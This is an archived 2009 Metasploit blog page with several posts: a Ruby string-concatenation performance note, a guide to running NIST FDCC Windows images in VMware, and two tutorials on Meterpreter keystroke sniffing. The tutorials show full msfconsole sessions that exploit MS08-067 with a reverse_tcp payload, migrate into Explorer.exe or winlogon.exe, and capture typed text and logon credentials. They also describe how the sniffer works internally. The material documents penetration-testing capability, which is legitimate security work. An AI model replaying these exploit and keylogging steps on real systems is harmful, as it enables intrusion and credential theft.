Skip navigation
All Places > Metasploit > Blog > 2009 > March
2009

<<>+=

Posted by rapid7-admin Mar 24, 2009

Originally Posted by egypt

 

 

The Metasploit Framework has had performance issues at startup for a long time.  It is not uncommon for initial loading of our 600+ modules to take upwards of 30 seconds (or worse on older hardware).  Previously, I attributed the slow startup time to the massive amount of ruby code and the staggering number of objects that had to be instantiated.  After all, msf is far and away the biggest ruby project on the planet.  HD has done an excellent job with the new module format to reduce that initial overhead but algorithm complexity evidently has more to do with the problem.  A couple of weeks ago Yoann Guillot sent us a simple patch that changed a few uses of += on String objects to <<.  The performance change was profound.

 

It turns out that a << b realloc()'s a to be big enough to hold both buffers, then concatenates b to the end of a, a Big-Oh of n operation. a += b, on the other  hand, makes a new buffer big enough to hold both a and b, then copies them each into the new buffer.  By itself, this will always be a little slower than <<, but it is still O(n).

 

However...

 

 


framework3 $ time ruby -e 'a = "A"; 100000.times { a << "A" }'

 

real    0m0.338s
user    0m0.312s
sys     0m0.024s

 

framework3 $ time ruby -e 'a = "A"; 100000.times { a += "A" }'

 

real    0m15.462s
user    0m15.321s
sys     0m0.068s

 

 


Put += in a loop, as in the above example, and it becomes a O(n2) operation because you have to copy "A", then "AA", then "AAA"...  Now that we've seen the underlying problem, let's see what kind of difference the patch makes.

 

Before the patch:


framework3 $ rm ~/.msf3/modcache && time (echo exit | ./msfconsole >/dev/null)

 

real    0m45.428s
user    0m43.679s
sys     0m0.912s

 

 

 

 

After the patch:


framework3 $ rm ~/.msf3/modcache && time (echo exit | ./msfconsole >/dev/null)

 

real    0m15.970s
user    0m15.213s
sys     0m0.548s

 

 

 

 

As you can see, startup time is still not blazingly fast on old hardware (all of the benchmarks were performed on a 1.4GHz Pentium M) but it is now much more
tolerable.

 

Before you run off and change every instance of += to << in your ruby code, it's important to note that the two don't perform the same operation.  Because ruby does assignment by reference, the latter overwrites any variables that point to the one you're operating on while the former leaves any references untouched.

 

 


framework3 $ irb
>> a = "A"
=> "A"
>> b = a
=> "A"
>> a << "B"
=> "AB"
>> b
=> "AB">> c = "C"
=> "C"
>> d = c
=> "C"
>> c += "D"
=> "CD"
>> d
=> "C"

 

 

This is really the first time in my ruby experience where I've had to think about the underlying implementation.  Up until now, the ruby interpreter was a magical box from which dazzling lights and impressive fireballs of code sprang to life.  Now I see the man behind the curtain around every corner.

Originally Posted by hdm

 

 

In my previous post, I described the keystroke sniffing capabilities of the Meterpreter payload. One of the key restrictions of this feature is that it can only sniff while running inside of a process with interactive access to the desktop. In the case of the MS08-067 exploit, we had to migrate into Explorer.exe in order to capture the logged-on user's keystrokes.

 

While testing the keystroke sniffer, it occurred to me to migrate into the Winlogon.exe process instead. This process should have interactive access to the desktop, however when I tried to sniff the active user's keystrokes this way, it was not successful. Although Winlogon could not access the logged-on desktop using GetAsyncKeyState, it can capture the username and password of anyone logging into the target's console. The example below demonstrates this process:

 

msf exploit(ms08_067_netapi) > exploit
[*] Triggering the vulnerability...
[*] Sending stage (2650 bytes)
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened

 

meterpreter > ps

 

Process list
============

 

PID Name Path                                                                                        
--- ---- ----                                                                                        
292   wscntfy.exe   C:\WINDOWS\system32\wscntfy.exe                                                             
316   Explorer.EXE  C:\WINDOWS\Explorer.EXE                                                                     
356   smss.exe      \SystemRoot\System32\smss.exe                                                               
416   csrss.exe     \??\C:\WINDOWS\system32\csrss.exe                                                           
440   winlogon.exe  \??\C:\WINDOWS\system32\winlogon.exe                                                        
[ snip ]

 

meterpreter > migrate 440
[*] Migrating to 440...
[*] Migration completed successfully.

 

meterpreter > keyscan_start
Starting the keystroke sniffer...
[ wait for user login ]

 

meterpreter > keyscan_dump
Dumping captured keystrokes...
Administrator <Tab>  s3cretp4ss <Return>

Originally Posted by hdm

 

 

Earlier this afternoon, I committed some code to allow keystroke sniffing through Meterpreter sessions. This was implemented as set of new commands for the stdapi extension of Meterpreter. Dark Operator, author of many great Meterpreter scripts, already wrote a nice blog post describing how to use the new keystroke sniffer, but I wanted to cover some of the internals and limitations as well.

 

The keyscan_start command spawns a new thread inside of the process where Meterpreter was injected. This thread allocates a large 1Mb buffer to store captured keystrokes. Every 30 ms, this thread calls GetAsyncKeyState, which returns the up/down status of each of the 256 possible Virtual Key Codes. If a key state change is detected and the new state is down, the key, along with the Shift, Control, and Alt flags are stored into the buffer as 16-bit value. If the entire buffer is used, it skips back to the beginning and overwrites old entries. This poll/compare method is based on a keyboard status application written by Rick, who presented at the last San Antonio Hackers meeting (and presents at Austin Hackers frequently).

 

One limitation of the GetAsyncKeyState function is that it must have access to the active, input desktop in order to monitor the key states. This presents a problem when the target process is running as a service. In the case of the VNC injection payload, we jump through a series of hoops to get access to the input desktop. This sequence has now been implemented as the grabdesktop command, but this is still not sufficient in many cases. If the service does not have rights to interact with the desktop, no amount of API jumping allows the GetAsyncKeyState function to receive keystrokes from the user.

 

Fortunately, Meterpreter supports the migrate command, which allows us to move our running code into a process that does have interactive access to the desktop. In the example below, we will use ms08_067_netapi exploit to obtain a Meterpreter shell on a Windows XP SP2 system, then migrate the running payload into the Explorer.exe process owned by the active user. This allows us to then use the keyscan_start and keyscan_dump commands to log the user's keystrokes.

 

$ msfconsole

 

msf > use exploit/windows/smb/ms08_067_netapi

 

msf exploit(ms08_067_netapi) > set RHOST 192.168.0.118
RHOST => 192.168.0.118

 

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

 

msf exploit(ms08_067_netapi) > set LHOST 192.168.0.139
LHOST => 192.168.0.139

 

msf exploit(ms08_067_netapi) > set TARGET 3
TARGET => 3

 

msf exploit(ms08_067_netapi) > exploit
[*] Triggering the vulnerability...
[*] Sending stage (2650 bytes)
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened

 

meterpreter > ps

 

Process list
============

 

PID Name Path                                                                                        
--- ---- ----                                                                                        
292   wscntfy.exe   C:\WINDOWS\system32\wscntfy.exe                                                             
316   Explorer.EXE  C:\WINDOWS\Explorer.EXE                                                                     
356   smss.exe      \SystemRoot\System32\smss.exe                                                               
416   csrss.exe     \??\C:\WINDOWS\system32\csrss.exe                                                           
440   winlogon.exe  \??\C:\WINDOWS\system32\winlogon.exe                                                        
[ snip ]

 

meterpreter > migrate 316
[*] Migrating to 316...
[*] Migration completed successfully.

 

meterpreter > getpid
Current pid: 316

 

meterpreter > grabdesktop
Trying to hijack the input desktop...

 

meterpreter > keyscan_start
Starting the keystroke sniffer...

 

meterpreter > keyscan_dump
Dumping captured keystrokes...

 

This is a test of the keystroke logger <Comma>  I am typing this inside of notepad.

Originally Posted by hdm

 

 

Update:  A couple folks pointed out that the VMWare Converter automates most of the issues covered in this post.

 

On August 20th, 2007 NIST's Federal Desktop Core Configuration project released its initial set of Windows virtual machine images as a security reference. This set has been updated to consist of Windows XP SP2 and Windows Vista SP1, both available free of charge from the FDCC downloads page.

 

Unfortunately, the FDCC images were released in VHD format for use with Microsoft's Virtual PC product and making use of these images in a third-party virtualization product, such as VMWare, is tricky. This post walks through the process of obtaining, configuring, and using the FDCC Windows XP SP2 image inside of VMWare Workstation on the Linux platform.

 

The first step is to download the actual image. The VHD is broken into a 6-part zip file that can be obtained from the following links.

 

FDCC Windows XP SP2 - Part 1
FDCC Windows XP SP2 - Part 2
FDCC Windows XP SP2 - Part 3
FDCC Windows XP SP2 - Part 4
FDCC Windows XP SP2 - Part 5
FDCC Windows XP SP2 - Part 6

 

Extracting this multi-part zip file on Linux is not straightforward either. First, all 6 parts need to be joined together into one large file.

 

$ cat FDCC-Q4-2008-XP-VHD.z* > FDCC_XP.zip

 

Once these have been combined, the zip utility must be used to fix the archive.

 

$ zip -F FDCC_XP.zip

 

On many platforms, zip has not been compiled with large file support, so the zip source package must be downloaded and recompiled for this command to work.

 

Once the archived has been fixed, you can use unzip to extract the actual VHD image. This may also need to be patched for large file format support. The 7-Zip utility should work if convincing unzip to work properly becomes a challenge.

 

$ 7z x FDCC_XP.zip

 

The actual VHD image should be extracted and ready to go. VMWare Player users will need to make a VMX file by hand and VMWare Server/Workstation users will have to go through the process of creating a new virtual machine, specifying the VHD file as the disk. If you try to boot this VHD image directly in VMWare, the virtual machine will get to the XP logo and crash on an "inaccessible boot device" STOP error (0x0000007b). The reason is that the VHD image was configured as an IDE disk, but VMWare tries to use a SCSI driver on host systems using SATA drives. To fix this, we need to convert the image to use the VHD as an IDE device.

 

First, the VMX file needs to be modified to change all occurrences of "scsi" to "ide". Next, the VHD needs to be converted to the VMWare disk format (VMDK) with the following command:

 

$ vmware-vdiskmanager -r 'XP NIST FDCC Q4 2008 Hard Disk.vhd' -t 1 FDCC_XP.vmdk

 

The primary VMDK file (FDCC_XP.vmdk) needs to be opened in a text editor and the ddb.adapterType parameter must be changed to "ide" from "BusLogic". Now the VMX file needs to be modified to point to the new VMDK disk image. If everything goes well, the virtual machine should now boot into the Windows operating system. The username is "Renamed_Admin" and the password is "P@ssw0rd123456".

 

Upon logging in, you will notice that the mouse does not work. Using the keyboard, navigate to the Control Panel from the Start Menu. Access the Add/Remove programs screen and uninstall the "Virtual PC Additions" software package, along with the "Dell Touchpad Driver". Once this has completed, use the VMWare Tools link from the VMWare menu to start installing the VMWare drivers. Note that since Autorun is disabled in the virtual machine, you will need to navigate to the CD-Rom drive and run setup.exe directly (Windows-key, Run, D:\Setup).

 

Once the VMWare Tools installation completes, allow the system to restart. If everything went well, the mouse should be working and the display should auto-size itself. Removing the "Virtual PC Additions" package also fixes an issue where the image hangs on reboot and must be power cycled. A copy of the finished VMX file can be obtained at:

 

http://metasploit.com/users/hdm/tools/FDCCWinXP.vmx

 

This conversion process should work for nearly any other VHD image released by Microsoft.

Filter Blog

By date: By tag: